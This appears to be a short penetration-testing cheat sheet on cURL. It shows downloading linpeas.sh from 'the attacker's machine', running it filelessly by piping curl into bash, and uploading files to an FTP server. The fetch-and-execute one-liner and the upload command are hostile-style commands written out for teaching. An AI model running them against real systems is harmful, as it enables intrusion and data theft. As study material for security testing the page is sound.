cURL
This section will cover using cURL to perform different actions.
Table of Contents
- Overview
- Downloading Files
- Fileless Downloads
- Upload Files
Overview
cURL can be used to perform different actions. Some of them are:
- Requesting a HTTP site
- Downloading files
- Sending customised HTTP requests
Downloading Files
We can use curl to download files. To use curl, we can use the following command. An example will be downloading a file called linpeas.sh from the attacker's machine.
curl -o /tmp/linpeas.sh http://<IP>/scripts/linpeas.sh
Command breakdown:
-o /tmp/linpeas.sh- Specify the location and filename to save to.http://<IP>/scripts/linpeas.sh- Specify the file to download.
Fileless Downloads
We can pipe the file into commands such as bash or python3 to run the file directly without saving it.
curl http://<IP>/scripts/linpeas.sh | bash
Command breakdown:
http://<IP>/scripts/linpeas.sh- Specify the file to download.| bash- Pipe the file output into bash to execute.
Upload Files
We can use the following command to upload files using cURL to a FTP server.
curl -T <file to upload> ftp://<Server IP>/path/to/upload -u <username>:password>